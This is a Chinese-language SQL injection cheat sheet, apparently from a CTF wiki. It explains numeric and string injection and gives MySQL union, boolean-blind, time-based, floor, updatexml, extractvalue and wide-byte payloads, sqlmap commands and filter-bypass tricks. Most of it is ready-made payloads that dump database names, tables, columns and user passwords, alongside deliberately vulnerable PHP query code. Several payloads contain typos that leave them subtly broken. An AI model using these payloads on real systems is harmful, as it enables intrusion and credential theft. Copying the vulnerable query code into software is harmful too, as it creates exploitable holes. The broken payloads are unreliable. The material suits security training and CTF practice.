SQL注入分类
SQL注入按照类型分为数字型注入和字符型注入。注入点的数据类型为数字型时为数字型注入,注入点的数据类型为字符型为字符型注入。
SQL注入按照服务器返回信息是否显示分为报错注入和盲注。如果在注入的过程中,程序将获取的信息或者报错信息直接显示在页面中,这样的注入为报错注入;如果在注入的过程中,程序不显示任何SQL报错信息,只能通过精心构造SQL语句,根据页面是否正常返回或者返回的时间判断注入的结果,这样的注入为盲注。
数字型注入
数字型注入就是注入点的数据类型是数字型,没有用单引号引起来。数字型注入的典型示例代码
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result)
判断数字型注入的方法如下
1. 输入单引号,不正常返回
如果用户提交index.php?id=1',那么后面的SQL语句就变成为SELECT * FROM users WHERE id=1' LIMIT0,1,SQL语句本身存在语法错误,会有不正常的结果返回。
2. 输入and 1=1,正常返回
如果用户提交index.php?id=1 and 1=1,那么后面的SQL语句就变成为SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1,会有正常的结果返回。
3. 输入and 1=2,不正常返回
SQL语句变为SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1,会有不正常的结果返回。
字符型注入
字符型注入就是注入点的数据类型是字符型。字符型注入与数字型注入的区别就是字符型注入要用一对单引号引起来。字符型注入的典型示例代码如下:
$id = $_GET['id'];
$sql = "select * from users where id='$id' limit 0,1;
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
判断字符型注入的方法如下
1. 输入单引号,不正常返回
输入单引号后,SQL语句变为select * from users where id=1' limit 0,1,SQL语句本身存在语法错误,会有不正常的结果返回
2. 输入' and '1'='1,正常返回
SQL语句变为select * from users where id='1' and '1'='1' limit 0,1,会有正常结果返回。
3. 输入' and '1'='2,会不正常返回
SQL语句变为select * from users where id='1' and '1'='2' limit 0,1,会有不正常的结果返回
MYSQL注入
information_schema数据库存储了SCHEMATA表、TABLES表和COLUMNS表,SCHEMATA表中有所有数据库名,TABLES表存储所有的表明,COLUMNS存储所有表中的列名
MYSQL联合查询注入payload
- 判断注入点
=1 and 1=1
- 判断列数
=1 order by 1
- 判断报错点
=1 and 1=2 union select 1,2,3
- 获取当前数据库名
=1 and 1=2 union select 1,concat_ws(char(32,58,32),user(),database(),version()),3
- 获取数据库中的表名
=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test1'
- 获取表中的列名
=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='test1' and table_name='user'
- 获取列中数据
=1 and 1=2 union select 1,group_concat(username,'',password),3 from user
MYSQL bool注入
MYSQL bool注入是盲注的一种。与报错注入不同,bool注入没有任何报错信息输出,页面返回只有正常和不正常两种状态,攻击者只能通过返回这两个状态来判断输入的SQL注入测试语句是否正确。
- 利用bool注入获取数据库信息
如果用之前的报错注入payload,发现无法爆出数据库的信息,只显示正常页面。报错注入payload无法对bool型注入点进行注入
1 and (select ascii(substring(database(),1,1)))>98
- 利用bool注入获取表名
and ascii(substring((select table_name from information_schema.tables where table_schema='test1' limit 0,1),1,1))<x
- 利用bool注入获取列名
and ascii(substing((select column_name from information_schema.columns where table_name='user' and table_schema='test1' limit 0,1),1,1),)<x
- 利用bool注入获取数据
and ascii(substring((select username from test1.user limit 0,1),1,1))>x
MYSQL sleep注入
sleep注入是另一种形式的盲注,与bool注入不同,sleep注入没有任何报错信息输入,页面返回不管对或者错都是一种状态,攻击者无法通过页面返回状态来判断输入的SQL注入测试语句是否正确,只能通过构造sleep注入的SQL测试语句,根据页面的返回时间判断数据库中存储了什么信息
- 判断当前数据库的长度
and sleep(if (length((select database()))=10,0,5))
- 判断数据库的名称
and sleep(if (ascii(substring(database(),1,1))<116,0,5))
- 判断所有的表名
and sleep(if (ascii(substring((select table_name from information_schema.tables where table_schema='test1' limit 0,1),1,1))<101,0,5))
- 判断user表的列名
and sleep(if (ascii(substring((select column_name from information_schema.columns where table_name='user' and table_schema='test1' limit 0,1),1,1))<105,0,5))
- 判断列的值
and sleep(if ascii (substring((select username from test1e.user limit 0,1),1,1))<69,0,5))
sleep注入示例代码分析
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if ($result){
echo "ctfs-wiki";
}else{
echo "ctfs-wiki";
}
MYSQL floor注入
floor注入是报错注入的一种方式,只要原因是rand函数与group by子句一起使用时,rand函数会计算多次,会导致报错产生的注入
- 获取当前数据库名称
and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)
- 获取当前数据库的表名
and (select 1 from (select count(*),concat((select (table_name) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
- 获取当前数据库列名
and (select 1 from (select count(*),concat((select (column_name) from information_schema.columns where table_schema=database() and table_name='user' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
- 获取数据
and (select 1 from (select count(*),concat((select username from user limit 0,1),0x3a,floor(rand()*2))x from information_schema.tables group by x)a)
MYSQL updatexml注入
updatexml注入也是一种报错注入,它利用updatexml函数中第二个参数XPath_string的报错进行注入。
- 查看数据库的名称
and updatexml(1,concat(0x7e,(database()),0))
- 查看所有表信息
and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test1' limit1,1)),0)
- 查看表的列信息
and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='test1' limit 1,1)),0)
MYSQL extractvalue注入
extractvalue函数可以对XML文档进行查询。extractvalue注入也是一种报错注入,它与updatexml注入的原理一样,也是利用了函数中第二个参数XPath_string的报错进行注入。
- 查看数据库的名称
and extractvalue(1,concat(0x7e,(database())))
- 查看所有的表信息
and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test1' limit 1,1)))
- 查看表的列信息
and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='test1' limit 1,1)))
- 查看列的值
and extractvalue(1,concat(0x7e,(select password from user limit 0,1)))
MYSQL 宽字节注入
开发者为了防止出现SQL注入攻击,将用户输入的数据用addslashes等函数进行过滤。addslashes等函数默认对单引号等进行转义,这样就可以避免注入。宽字节注入产生的原因是:MYSQL在使用GBK编码的时候,如果第一个字符的ASCII码大于128,会认为前两个字符是一个汉字,会将后面的转义字符"搞掉",将前两个字符拼接为汉字,这样就可以将SQL语句闭合,造成宽字节注入。
宽字节注入示例
$id = addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql = "SELECT * FROM user WHERE ID='$id' LIMIT 0,1";
$result = mysql_query($sql);
slqmap注入过程
- 列出所有数据库
sqlmap -u http://ip/index.php?id=1 --dbs
- 列出当前数据库
sqlmap -u http://ip/index.php?id=1 --current-db
- 列出数据库中所有的表
sqlmap -u http://ip/index.php?id=1 -D test1 --tables
- 列出表中的所有列
sqlmap -u http://ip/index.php?id=1 -D test1 -T user --columns
SQL注入绕过
空格过滤绕过
根据应用程序的过滤规则,会将空格加入黑名单,但是空格存在多种绕过方式,常见的包括用/**/、制表符、换行符、括号、反引号来替代空格
- 制表符绕过
制表符是不可见字符,在URL传输中需要编码,其URL编码为%09 - 换行符绕过
换行符也是不可见字符,在URL传输中需要编码,其URL编码为%0a - 空格绕过
任何查询中都可以使用括号嵌套SQL语句,可以利用括号绕过空格的过滤 - `绕过
大小写绕过
双写关键字绕过